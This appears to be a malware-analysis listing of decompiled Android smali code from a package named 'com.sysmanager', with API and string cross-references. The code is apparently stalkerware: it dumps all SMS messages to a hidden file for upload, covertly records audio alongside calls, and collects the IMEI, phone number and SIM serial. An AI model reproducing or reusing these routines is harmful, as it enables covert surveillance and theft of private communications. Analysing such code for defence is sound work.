355invoke-direct {v15}, Ljava/lang/StringBuilder;-><init>()V
357const-string v16, "Unexpected code "
359invoke-virtual/range {v15 .. v16}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
360move-result-object v15
362invoke-virtual {v15, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
363move-result-object v15
365invoke-virtual {v15}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
366move-result-object v15
368invoke-direct {v14, v15}, Ljava/lang/Exception;-><init>(Ljava/lang/String;)V
369throw v14
370try_end_1ff: move-exception v5
372invoke-static {v5}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
373move-result-object v14
374move-object/from16 v0, p6
376invoke-static {v0, v14}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
377const/4 v14, 0x0
378goto_20a: return v14
379try_start_20b:
380invoke-virtual {v7}, Ljava/io/File;->delete()Z
382const-string v14, "OK"
384invoke-virtual {v13, v14}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
385move-result v14
386goto/16 :goto_20a
387cond_215: new-instance v14, Ljava/lang/StringBuilder;
389invoke-direct {v14}, Ljava/lang/StringBuilder;-><init>()V
391invoke-static/range {p6 .. p6}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
392move-result-object v15
394invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
395move-result-object v14
397const-string v15, "req_server_key.php"
399invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
400move-result-object v14
402invoke-virtual {v14}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
403move-result-object v14
405invoke-static {v14}, Lcom/sysmanager/network/HTTPUtility;->requestAESKeyToServer(Ljava/lang/String;)Ljava/lang/String;
406move-result-object v11
408const-string v14, "-----BEGIN CERTIFICATE-----"
410invoke-virtual {v11, v14}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
411move-result v14
412if-eqz v14, :cond_241
414invoke-static/range {p6 .. p6}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
415move-result-object v14
417const-string v15, "col23"
419invoke-virtual {v14, v15, v11}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;Ljava/lang/String;)V
420try_end_241: const/4 v14, 0x0
421goto/16 :goto_20a
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidMessagingService.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.net.Uri.parse
  • com.sysmanager.system.AndroidMessagingService.getContentResolver
  • java.io.FileOutputStream.<init>
  • android.content.ContentResolver.query
  • android.database.Cursor.moveToNext
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getLong
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getInt
  • java.lang.Integer.valueOf
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getInt
  • java.lang.Integer.valueOf
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • java.text.SimpleDateFormat.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.Long.valueOf
  • java.text.SimpleDateFormat.format
  • java.lang.StringBuilder.append
  • java.lang.String.replace
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.getBytes
  • java.io.FileOutputStream.write
  • com.sysmanager.system.AndroidMessagingService.getApplicationContext
  • com.sysmanager.system.AndroidMessagingService.InviaFileSMS
  • android.database.Cursor.close
  • java.io.FileOutputStream.close
Strings
  • /cachel2/lst
  • content://sms
  • date asc
  • date
  • _id
  • body
  • type
  • address
  • read
  • seen
  • yyyy-MM-dd HH:mm:ss
  • _
  • \u00a7
Position Instruction Meta Information
0.prologue
1new-instance v4, Ljava/lang/StringBuilder;
3invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
5invoke-virtual/range {p0 .. p0}, Lcom/sysmanager/system/AndroidMessagingService;->getFilesDir()Ljava/io/File;
6move-result-object v5
8invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
9move-result-object v4
11const-string v5, "/cachel2/lst"
13invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
14move-result-object v4
16invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
17move-result-object v19
18try_start_17:
19const-string v4, "content://sms"
21invoke-static {v4}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
22move-result-object v3
24invoke-virtual/range {p0 .. p0}, Lcom/sysmanager/system/AndroidMessagingService;->getContentResolver()Landroid/content/ContentResolver;
25move-result-object v2
26new-instance v16, Ljava/io/FileOutputStream;
27const/4 v4, 0x0
28move-object/from16 v0, v16
29move-object/from16 v1, v19
31invoke-direct {v0, v1, v4}, Ljava/io/FileOutputStream;-><init>(Ljava/lang/String;Z)V
32const/4 v4, 0x0
33const/4 v5, 0x0
34const/4 v6, 0x0
36const-string v7, "date asc"
38invoke-virtual/range {v2 .. v7}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
39move-result-object v8
40goto_34: if-eqz v8, :cond_113
42invoke-interface {v8}, Landroid/database/Cursor;->moveToNext()Z
43move-result v4
44if-eqz v4, :cond_113
46const-string v4, "date"
48invoke-interface {v8, v4}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
49move-result v4
51invoke-interface {v8, v4}, Landroid/database/Cursor;->getLong(I)J
52move-result-wide v12
54const-string v4, "_id"
56invoke-interface {v8, v4}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
57move-result v4
59invoke-interface {v8, v4}, Landroid/database/Cursor;->getInt(I)I
60move-result v4
62invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
63move-result-object v15
65const-string v4, "body"
67invoke-interface {v8, v4}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
68move-result v4
70invoke-interface {v8, v4}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
71move-result-object v10
73const-string v4, "type"
75invoke-interface {v8, v4}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
76move-result v4
78invoke-interface {v8, v4}, Landroid/database/Cursor;->getInt(I)I
79move-result v4
81invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
82move-result-object v21
84const-string v4, "address"
86invoke-interface {v8, v4}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
87move-result v4
89invoke-interface {v8, v4}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
90move-result-object v9
92const-string v4, "read"
94invoke-interface {v8, v4}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
95move-result v4
97invoke-interface {v8, v4}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
98move-result-object v17
100const-string v4, "seen"
102invoke-interface {v8, v4}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
103move-result v4
105invoke-interface {v8, v4}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
106move-result-object v18
107new-instance v11, Ljava/text/SimpleDateFormat;
109const-string v4, "yyyy-MM-dd HH:mm:ss"
111sget-object v5, Ljava/util/Locale;->ITALIAN:Ljava/util/Locale;
113invoke-direct {v11, v4, v5}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;Ljava/util/Locale;)V
114new-instance v4, Ljava/lang/StringBuilder;
116invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
118invoke-static {v12, v13}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
119move-result-object v5
121invoke-virtual {v11, v5}, Ljava/text/SimpleDateFormat;->format(Ljava/lang/Object;)Ljava/lang/String;
122move-result-object v5
124invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
125move-result-object v4
127const-string v5, "_"
129invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
130move-result-object v4
132invoke-virtual {v4, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
133move-result-object v4
135const-string v5, "_"
137invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
138move-result-object v4
139const/16 v5, 0x27
140const/16 v6, 0x22
142invoke-virtual {v10, v5, v6}, Ljava/lang/String;->replace(CC)Ljava/lang/String;
143move-result-object v5
145invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
146move-result-object v4
148const-string v5, "_"
150invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
151move-result-object v4
152move-object/from16 v0, v21
154invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
155move-result-object v4
157const-string v5, "_"
159invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
160move-result-object v4
162invoke-virtual {v4, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
163move-result-object v4
165const-string v5, "_"
167invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
168move-result-object v4
169move-object/from16 v0, v17
171invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
172move-result-object v4
174const-string v5, "_"
176invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
177move-result-object v4
178move-object/from16 v0, v18
180invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
181move-result-object v4
183const-string v5, "\u00a7"
185invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
186move-result-object v4
188invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
189move-result-object v20
191invoke-virtual/range {v20 .. v20}, Ljava/lang/String;->getBytes()[B
192move-result-object v4
193move-object/from16 v0, v16
195invoke-virtual {v0, v4}, Ljava/io/FileOutputStream;->write([B)V
196try_end_101: goto/16 :goto_34
197catch_103: move-exception v14
199invoke-virtual/range {p0 .. p0}, Lcom/sysmanager/system/AndroidMessagingService;->getApplicationContext()Landroid/content/Context;
200move-result-object v4
202invoke-static {v14}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
203move-result-object v5
205invoke-static {v4, v5}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
206goto_10f:
207invoke-virtual/range {p0 .. p0}, Lcom/sysmanager/system/AndroidMessagingService;->InviaFileSMS()V
208return-void
209cond_113: if-eqz v8, :cond_118
210try_start_115:
211invoke-interface {v8}, Landroid/database/Cursor;->close()V
212cond_118:
213invoke-virtual/range {v16 .. v16}, Ljava/io/FileOutputStream;->close()V
214try_end_11b: goto/16 :goto_10f
Cross References
APIs
  • com.sysmanager.system.AndroidSystemService.getAvailableInternalMemorySize
  • com.sysmanager.system.AndroidSystemService.getDate
  • android.util.Log.e
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidSystemService.getDate
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidSystemService.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.media.MediaRecorder.<init>
  • android.media.MediaRecorder.setAudioSource
  • android.media.MediaRecorder.setAudioSamplingRate
  • android.media.MediaRecorder.setAudioEncodingBitRate
  • android.media.MediaRecorder.setOutputFormat
  • android.media.MediaRecorder.setAudioEncoder
  • android.media.MediaRecorder.setMaxDuration
  • android.media.MediaRecorder.setOutputFile
  • android.media.MediaRecorder.setOnInfoListener
  • android.media.MediaRecorder.setOnErrorListener
  • android.media.MediaRecorder.prepare
  • android.media.MediaRecorder.start
  • com.sysmanager.system.AndroidSystemService.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • com.sysmanager.system.AndroidSystemService.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • com.sysmanager.system.AndroidSystemService.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • android.content.Intent.putExtra
  • com.sysmanager.system.AndroidSystemService.startService
  • com.sysmanager.system.AndroidSystemService.getApplicationContext
  • com.sysmanager.storage.FileSend.getInstance
  • com.sysmanager.storage.FileSend.isCallRecording
  • com.sysmanager.system.AndroidSystemService.getApplicationContext
  • com.sysmanager.storage.FileSend.getInstance
  • com.sysmanager.storage.FileSend.insertCall
  • com.sysmanager.system.AndroidSystemService.getApplicationContext
  • com.sysmanager.system.AndroidSystemService.stopRecording
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • com.sysmanager.system.AndroidSystemService.startService
Strings
  • DATE GETTED
  • _16_23850
  • /temp/
  • col07
  • col06
  • extra_accuracy
  • extra_force
  • col25
  • extra_move
Position Instruction Meta Information
0.prologue
1const/4 v6, 0x0
2const/4 v4, 0x1
3monitor-enter p0
4try_start_3:
5invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemService;->getAvailableInternalMemorySize()F
6try_end_6: move-result v7
7const/high16 v8, 0x41a00000 # 20.0f
8cmpg-float v7, v7, v8
9if-gez v7, :cond_f
10goto_d: monitor-exit p0
11return-void
12try_start_f:
13const-string v7, "DATE GETTED "
15invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemService;->getDate()Ljava/lang/String;
16move-result-object v8
18invoke-static {v7, v8}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
19new-instance v7, Ljava/lang/StringBuilder;
21invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
23invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemService;->getDate()Ljava/lang/String;
24move-result-object v8
26invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
27move-result-object v7
29const-string v8, "_16_23850"
31invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
32move-result-object v7
34invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
35move-result-object v7
36iput-object v7, p0, Lcom/sysmanager/system/AndroidSystemService;->mFileName:Ljava/lang/String;
37new-instance v7, Ljava/lang/StringBuilder;
39invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
41invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getFilesDir()Ljava/io/File;
42move-result-object v8
44invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
45move-result-object v7
47const-string v8, "/temp/"
49invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
50move-result-object v7
52iget-object v8, p0, Lcom/sysmanager/system/AndroidSystemService;->mFileName:Ljava/lang/String;
54invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
55move-result-object v7
57invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
58move-result-object v1
59new-instance v7, Landroid/media/MediaRecorder;
61invoke-direct {v7}, Landroid/media/MediaRecorder;-><init>()V
62iput-object v7, p0, Lcom/sysmanager/system/AndroidSystemService;->mRecorder:Landroid/media/MediaRecorder;
64iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemService;->mRecorder:Landroid/media/MediaRecorder;
65const/4 v8, 0x1
67invoke-virtual {v7, v8}, Landroid/media/MediaRecorder;->setAudioSource(I)V
69iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemService;->mRecorder:Landroid/media/MediaRecorder;
70const/16 v8, 0x3e80
72invoke-virtual {v7, v8}, Landroid/media/MediaRecorder;->setAudioSamplingRate(I)V
74iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemService;->mRecorder:Landroid/media/MediaRecorder;
75const/16 v8, 0x5f50
77invoke-virtual {v7, v8}, Landroid/media/MediaRecorder;->setAudioEncodingBitRate(I)V
79iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemService;->mRecorder:Landroid/media/MediaRecorder;
80const/4 v8, 0x4
82invoke-virtual {v7, v8}, Landroid/media/MediaRecorder;->setOutputFormat(I)V
84iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemService;->mRecorder:Landroid/media/MediaRecorder;
85const/4 v8, 0x2
87invoke-virtual {v7, v8}, Landroid/media/MediaRecorder;->setAudioEncoder(I)V
89iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemService;->mRecorder:Landroid/media/MediaRecorder;
90const v8, 0x668a0
92invoke-virtual {v7, v8}, Landroid/media/MediaRecorder;->setMaxDuration(I)V
94iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemService;->mRecorder:Landroid/media/MediaRecorder;
96invoke-virtual {v7, v1}, Landroid/media/MediaRecorder;->setOutputFile(Ljava/lang/String;)V
98iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemService;->mRecorder:Landroid/media/MediaRecorder;
99new-instance v8, Lcom/sysmanager/system/AndroidSystemService$3;
101invoke-direct {v8, p0}, Lcom/sysmanager/system/AndroidSystemService$3;-><init>(Lcom/sysmanager/system/AndroidSystemService;)V
103invoke-virtual {v7, v8}, Landroid/media/MediaRecorder;->setOnInfoListener(Landroid/media/MediaRecorder$OnInfoListener;)V
105iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemService;->mRecorder:Landroid/media/MediaRecorder;
106new-instance v8, Lcom/sysmanager/system/AndroidSystemService$4;
108invoke-direct {v8, p0}, Lcom/sysmanager/system/AndroidSystemService$4;-><init>(Lcom/sysmanager/system/AndroidSystemService;)V
110invoke-virtual {v7, v8}, Landroid/media/MediaRecorder;->setOnErrorListener(Landroid/media/MediaRecorder$OnErrorListener;)V
111try_end_96:
112iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemService;->mRecorder:Landroid/media/MediaRecorder;
114invoke-virtual {v7}, Landroid/media/MediaRecorder;->prepare()V
116iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemService;->mRecorder:Landroid/media/MediaRecorder;
118invoke-virtual {v7}, Landroid/media/MediaRecorder;->start()V
120invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getApplicationContext()Landroid/content/Context;
121move-result-object v7
123invoke-static {v7}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
124move-result-object v7
126const-string v8, "col07"
128invoke-virtual {v7, v8}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
129move-result v7
130if-ne v7, v4, :cond_12d
131move v3, v4
132goto_b1:
133invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getApplicationContext()Landroid/content/Context;
134move-result-object v7
136invoke-static {v7}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
137move-result-object v7
139const-string v8, "col06"
141invoke-virtual {v7, v8}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
142move-result v7
143if-ne v7, v4, :cond_12f
144move v5, v4
145goto_c2: if-eqz v3, :cond_133
146new-instance v2, Landroid/content/Intent;
147const-class v7, Lcom/sysmanager/system/AndroidSystemQueues;
149invoke-direct {v2, p0, v7}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
151const-string v7, "extra_accuracy"
152const/16 v8, 0x64
154invoke-virtual {v2, v7, v8}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
156const-string v7, "extra_force"
157const/4 v8, 0x1
159invoke-virtual {v2, v7, v8}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;
161invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getApplicationContext()Landroid/content/Context;
162move-result-object v7
164invoke-static {v7}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
165move-result-object v7
167const-string v8, "col25"
169invoke-virtual {v7, v8}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
170move-result v7
171if-ne v7, v4, :cond_131
172goto_e8: if-eqz v4, :cond_f0
174const-string v6, "extra_move"
175const/4 v7, 0x1
177invoke-virtual {v2, v6, v7}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;
178cond_f0:
179invoke-virtual {p0, v2}, Lcom/sysmanager/system/AndroidSystemService;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
180goto_f3: const/4 v6, 0x1
181iput-boolean v6, p0, Lcom/sysmanager/system/AndroidSystemService;->mIsRecording:Z
182iget-boolean v6, p0, Lcom/sysmanager/system/AndroidSystemService;->mInCall:Z
183if-eqz v6, :cond_d
185invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getApplicationContext()Landroid/content/Context;
186move-result-object v6
188invoke-static {v6}, Lcom/sysmanager/storage/FileSend;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/FileSend;
189move-result-object v6
191iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemService;->mFileName:Ljava/lang/String;
193invoke-virtual {v6, v7}, Lcom/sysmanager/storage/FileSend;->isCallRecording(Ljava/lang/String;)Z
194move-result v6
195if-nez v6, :cond_d
197invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getApplicationContext()Landroid/content/Context;
198move-result-object v6
200invoke-static {v6}, Lcom/sysmanager/storage/FileSend;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/FileSend;
201move-result-object v6
203iget-object v7, p0, Lcom/sysmanager/system/AndroidSystemService;->mFileName:Ljava/lang/String;
205invoke-virtual {v6, v7}, Lcom/sysmanager/storage/FileSend;->insertCall(Ljava/lang/String;)J
206try_end_117: goto/16 :goto_d
207catch_119: move-exception v0
208try_start_11a:
209invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getApplicationContext()Landroid/content/Context;
210move-result-object v6
212invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
213move-result-object v7
215invoke-static {v6, v7}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
217invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemService;->stopRecording()Z
218try_end_128: goto/16 :goto_d
219catchall_12a: move-exception v6
220monitor-exit p0
221throw v6
222cond_12d: move v3, v6
223goto/16 :goto_b1
224cond_12f: move v5, v6
225goto/16 :goto_c2
226cond_131: move v4, v6
227goto/16 :goto_e8
228cond_133: if-eqz v5, :cond_f3
229try_start_135: new-instance v2, Landroid/content/Intent;
230const-class v6, Lcom/sysmanager/system/AndroidSystemQueues;
232invoke-direct {v2, p0, v6}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
234const-string v6, "extra_accuracy"
235const/16 v7, 0x66
237invoke-virtual {v2, v6, v7}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
239const-string v6, "extra_force"
240const/4 v7, 0x1
242invoke-virtual {v2, v6, v7}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;
244invoke-virtual {p0, v2}, Lcom/sysmanager/system/AndroidSystemService;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
245try_end_14c: goto/16 :goto_f3
Cross References
APIs
  • com.sysmanager.system.AndroidSystemCall.getApplicationContext
  • android.content.Context.getSystemService
  • android.telephony.TelephonyManager.getLine1Number
  • org.json.JSONObject.put
  • android.telephony.TelephonyManager.getDeviceId
  • org.json.JSONObject.put
  • android.telephony.TelephonyManager.getNetworkCountryIso
  • org.json.JSONObject.put
  • android.telephony.TelephonyManager.getNetworkOperator
  • org.json.JSONObject.put
  • android.telephony.TelephonyManager.getNetworkOperatorName
  • org.json.JSONObject.put
  • android.telephony.TelephonyManager.getSimOperator
  • org.json.JSONObject.put
  • android.telephony.TelephonyManager.getSimOperatorName
  • org.json.JSONObject.put
  • android.telephony.TelephonyManager.getSimCountryIso
  • org.json.JSONObject.put
  • android.telephony.TelephonyManager.getSimSerialNumber
  • org.json.JSONObject.put
  • com.sysmanager.system.AndroidSystemCall.getNetworkType
  • org.json.JSONObject.put
  • android.telephony.TelephonyManager.getLine1Number
  • android.telephony.TelephonyManager.getDeviceId
  • android.telephony.TelephonyManager.getNetworkCountryIso
  • android.telephony.TelephonyManager.getNetworkOperator
  • android.telephony.TelephonyManager.getNetworkOperatorName
  • android.telephony.TelephonyManager.getSimOperator
  • android.telephony.TelephonyManager.getSimOperatorName
  • android.telephony.TelephonyManager.getSimCountryIso
  • android.telephony.TelephonyManager.getSimSerialNumber
  • org.json.JSONObject.put
  • com.sysmanager.system.AndroidSystemCall.getApplicationContext
Strings
  • phone
  • PhoneNumber
  • Imei
  • PhoneModel
  • CountryCode
  • OperatorCode
  • OperatorName
  • SimOperatorCode
  • SimOperatorName
  • SimOperatorCountryCode
  • SimSerial
  • MobileNetworkName
  • DeviceId
  • SoftwareVersion
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Lorg/json/JSONException;
3}
4.end annotation
5.prologue
7invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getApplicationContext()Landroid/content/Context;
8move-result-object v2
10const-string v3, "phone"
12invoke-virtual {v2, v3}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
13move-result-object v1
14check-cast v1, Landroid/telephony/TelephonyManager;
15if-eqz v1, :cond_e1
16try_start_e:
17iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
19const-string v4, "PhoneNumber"
21invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getLine1Number()Ljava/lang/String;
22move-result-object v2
23if-nez v2, :cond_ae
25const-string v2, ""
26goto_1a:
27invoke-virtual {v3, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
29iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
31const-string v4, "Imei"
33invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
34move-result-object v2
35if-nez v2, :cond_b4
37const-string v2, ""
38goto_29:
39invoke-virtual {v3, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
41iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
43const-string v4, "PhoneModel"
45sget-object v2, Landroid/os/Build;->MODEL:Ljava/lang/String;
46if-nez v2, :cond_ba
48const-string v2, ""
49goto_36:
50invoke-virtual {v3, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
52iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
54const-string v4, "CountryCode"
56invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getNetworkCountryIso()Ljava/lang/String;
57move-result-object v2
58if-nez v2, :cond_be
60const-string v2, ""
61goto_45:
62invoke-virtual {v3, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
64iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
66const-string v4, "OperatorCode"
68invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getNetworkOperator()Ljava/lang/String;
69move-result-object v2
70if-nez v2, :cond_c3
72const-string v2, ""
73goto_54:
74invoke-virtual {v3, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
76iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
78const-string v4, "OperatorName"
80invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getNetworkOperatorName()Ljava/lang/String;
81move-result-object v2
82if-nez v2, :cond_c8
84const-string v2, ""
85goto_63:
86invoke-virtual {v3, v4, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
